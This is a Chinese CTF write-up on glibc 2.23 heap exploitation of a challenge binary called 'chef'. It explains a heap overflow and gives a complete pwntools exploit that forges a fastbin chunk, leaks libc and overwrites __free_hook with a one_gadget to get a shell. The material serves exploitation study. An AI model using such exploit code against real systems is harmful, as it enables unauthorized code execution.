首页 > 其他分享 >libc2.23的堆学习

libc2.23的堆学习

时间:2023-06-30 17:24:03浏览次数:38  
标签:sendafter 堆块 libc free 学习 hook add libc2.23

堆学习libc2.23

chef*

​ ——堆溢出伪造fake chunk,修改free_hook为og(libc2.23-0ubuntu11.3_amd64)

检查:

img

ida分析:

主程序是一个菜单,但是有点假,只是打印了一些字符串,没有什么实际的操作,直接进入选项4。

img

这个菜单实现了堆操作增删改查。
img

​ add函数,有一个if判断,这限制了最多只能申请49个堆块。申请堆块的大小是可控的,在申请后还能写入数据,并且在数据末尾补上0,并把申请堆块的大小记录在bss段的<foodlist>的第一个内存单元,堆块指针放在第二个内存单元,ida这里显示有点错误(图中红框处应该是1而不是2),最后把堆块计数器num加1

img

​ edit函数,堆块计数器num不为零时可以进行edit操作,输入堆块索引,在<foodlist>找对应的堆块指针,输入所要输入数据的大小,输入数据,并且程序会在数据末尾补上0。

img

​ free函数,当堆块计数器不为0的时候可以进行free操作,输入索引,free之后会把<foodlist>中的堆块指针和大小置0,不存在UAF漏洞

img

​ show函数,程序计数器不为0时可以进行打印操作,将<foodlist>中所以堆块的数据区打印出来。

img

漏洞利用:

​ <foodlist>的权限是很大的,实现了对所有堆块的控制,程序存在一个堆溢出漏洞,可以用来修改空闲堆块的fd指针。

​ 解题思路是利用堆溢出修改空闲堆块的fd指针为<foodlist>,将它作为堆块申请出来,向其中写入一个got表地址再show以泄露libc,再向该堆块<foodlist>写入free_hook地址,这样程序就认为free_hook也是一个堆块,可以向其中写入og。

EXP

from tools import *
context(log_level="debug",arch="amd64",os="linux")
p,elf,libc=load("chef")
p.sendafter("choice:","4")

def add(size,context):
    p.sendafter("choice:","2")
    p.sendafter("Please enter the price of food:",str(size))
    p.sendafter("Please enter the name of food:",context)
def delete(idx):
    p.sendafter("choice:","4")
    p.sendafter("Please enter the index of food:",str(idx))
def edit(idx,size,context):
    p.sendafter("choice:","3")
    p.sendafter('Please enter the index of food:',str(idx))
    p.sendafter('Please enter the price of food :',str(size))
    p.sendafter("Please enter the name of food:",context)
def show():
    p.sendafter("choice:","1")
#debug(p,0x00000400D2A,0x000000400FC0,0x0000000400E96,0x0000000400CB9) 
#泄露libc,申请控制堆块
add(0x40,"////") #这里申请一个0x40而不是全部申请0x30是为了绕过malloc对fastbin堆块的size域的检查
add(0x30,"a")
delete(1)
edit(0,0x58,p64(0)*9+p64(0x41)+p64(0x6020a0-8))
add(0x30,"//")
add(0x30,p64(0x602030))
show()
libc_base=recv_libc()-0x55810
log_addr("libc_base")
free_hook=0x3c67a8+libc_base
log_addr("free_hook")
#改free_hook为 og
og=[0x45226,0x4527a,0xf03a4,0xf1247]
pwn=og[1]+libc_base
edit(2,0x10,p64(free_hook))
edit(0,0x10,p64(pwn))
#getshell
delete(2)

p.interactive()

img

题目附件:

链接:https://pan.baidu.com/s/1qO-LhPGdHp5KUs1Ro-78Ag?pwd=1234

标签:sendafter,堆块,libc,free,学习,hook,add,libc2.23
From: https://www.cnblogs.com/Sta8r9/p/17517338.html

相关文章

  • uniapp学习(二)
    easycom自动导入自定义组件目录下components/MyItem/MyItem.vue<template><view><viewclass="item">(。・∀・)ノ゙嗨</view></view></template><stylelang="scss">.item{width:200rpx;......
  • 深度学习 训练模型 指标不变
    在深度学习实验中遇到一个问题就是虽然loss有变化,但是在验证集中准确率一直没变,且值接近你的验证集的正负样本比例。这是因为,在模型中某一个位置使用看ReLU激活函数,导致值全都变换到了非负数,再最后用sigmoid的时候全是>0.5的结果。还有一种情况就是loss一直不变,这类情况说明反......
  • Halcon - 深度学习 - 目标分类
    这是一个例子,通过读取桃子和梨的图片集来进行模型训练,得到一个可以识别桃子或是梨的深度学习识别器。**********************************************Halcon-深度学习-分类测试*这是一个例子,通过读取桃子和梨的图片集来进行模型训练,*得到一个可以识别桃子或是梨的深度学......
  • 学习swiper组件
    swiper介绍Swiper是一款前端制作轮播图的插件安装cdn可以进入https://www.swiper.com.cn/cdn/index.html直接复制,一般使用4.0.1版本,复制下面两行,并且修改版本号即可。<linkrel="stylesheet"href="https://cdnjs.cloudflare.com/ajax/libs/Swiper/5.x.x/css/swiper.min.cs......
  • 从零开始初识机器学习
    本篇文章中我们将对机器学习做全面的了解与介绍,其中第一章初识机器学习分为上下两个小章节,对机器学习是什么、机器学习由来以及机器学习的理论等展开说明。目的是能让即便完全没接触过机器学习的人也能在短时间对机器学习有一个全面了解。后续将推出机器学习的进阶内容,包括经典基......
  • 深入学习 JVM 算法 - 引用计数法
    博主介绍:✌博主从事应用安全和大数据领域,有8年研发经验,5年面试官经验,Java技术专家✌......
  • Python学习入门,从19个语法开始!
    Python简单易学,但又博大精深。许多人号称精通Python,却不会写Pythonic的代码,对很多常用包的使用也并不熟悉。学海无涯,我们先来了解一些Python中最基本的内容。Python的特点解释型语言,无需编译即可运行提供了交互式命令行基于对象的编程思想跨平台和良好的兼容性,在Windows、Mac、Linu......
  • 【js学习笔记十四】普通函数中的this指向问题解决方案_this
     目录前言导语 解决思路运行结果前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了从头再来歌谣的意志是永恒的放弃很容易但是坚持一定很酷导语歌谣歌谣......
  • 【js学习笔记十五】普通函数中的this指向问题解决方案箭头函数
     目录前言导语 解决思路运行结果前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了从头再来歌谣的意志是永恒的放弃很容易但是坚持一定很酷导语歌谣歌谣......
  • Java学习------Maven下载配置教程
    1.下载Maven地址:https://maven.apache.org/download.cgi  2.解压到除C盘和桌面的其他盘符下的myMaven文件夹下    3.配置右键点击我的电脑,点击属性一栏,找到高级系统设置,点击环境变量并找到path进行编辑。(和配置JDK的环境变量一致,如有不懂,前面文章中有提到配置......